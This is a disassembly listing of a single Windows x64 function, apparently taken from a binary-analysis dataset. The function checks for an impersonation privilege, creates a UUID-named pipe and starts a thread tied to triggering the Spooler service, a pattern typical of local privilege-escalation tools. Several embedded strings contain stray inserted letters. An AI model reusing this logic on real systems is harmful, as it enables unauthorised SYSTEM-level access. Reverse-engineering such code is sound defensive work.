Function at 0x140001278
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140009008]
xor rax, rsp
mov qword [rbp + 0x47], rax
or rbx, 0xffffffffffffffff
lea rdx, [0x140005f38]
xor r14d, r14d
lea rcx, [rbp + 0x27]
mov qword [rbp - 0x29], r14
mov rdi, rbx
mov rsi, rbx
call fcn.140002358
lea r8, str.mpersonate
lea rdx, [rbp + 0x27]
lea rcx, [rbp + 7]
call fcn.1400023c4
lea rdx, str.Privilege
mov rcx, rax
call fcn.1400029f8
lea rcx, [rbp + 7]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 9], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
call fcn.1400022f4
cmp qword [rbp - 1], 8
lea rdx, [rbp - 0x19]
cmovae rdx, qword [rbp - 0x19]
call fcn.1400014c4
lea rdx, [rbp - 0x19]
test eax, eax
jne 0x140001347
cmp qword [rbp - 1], 8
lea rcx, str.____A_privailege_is_misasing:__ws_n
cmovae rdx, qword [rbp - 0x19]
call fcn.140001008
jmp 0x140001461
cmp qword [rbp - 1], 8
lea rcx, str.___Foaund_privailege:__ws_n
cmovae rdx, qword [rbp - 0x19]
call fcn.140001008
xorps xmm0, xmm0
lea rcx, [rbp + 7]
movups xmmword [rbp + 7], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
jne 0x140001455
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 7]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
test eax, eax
jne 0x140001455
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x140001455
call fcn.14000172c
mov rbx, rax
test rax, rax
jne 0x1400013b7
lea rcx, str.____Failed_to_create_a_named_pipe._n
call fcn.140001008
jmp 0x14000146f
mov rcx, rbx
call fcn.14000191c
mov rdi, rax
test rax, rax
jne 0x1400013d3
lea rcx, str.____Failed_to_connect_the_named_pipe._n
jmp 0x14000145c
lea rcx, str.___Named_pipe_listening..._n
call fcn.140001008
mov r9, qword [rbp - 0x29]
lea rax, [rbp - 0x21]
mov qword [rsp + 0x28], rax
lea r8, [0x1400019d0]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
mov dword [rbp - 0x21], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x140001422
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateThAread___failed._Error:__d_n
call fcn.140001008
test rsi, rsi
jne 0x140001430
lea rcx, str.____Failed_to_trigger_the_Spooler_service._n
jmp 0x14000145c
mov edx, 0x1388
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000144b
lea rcx, str.____Operation_failed_or_timed_out._n
jmp 0x14000145c
mov rcx, rbx
call fcn.140001d74
jmp 0x140001461
lea rcx, str.____Failed_to_generate_a_name_for_the_pipe._n
call fcn.140001008
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140001478
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140001486
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x19]
call fcn.1400022f4
lea rcx, [rbp + 0x27]
call fcn.1400022f4
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140002bf0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret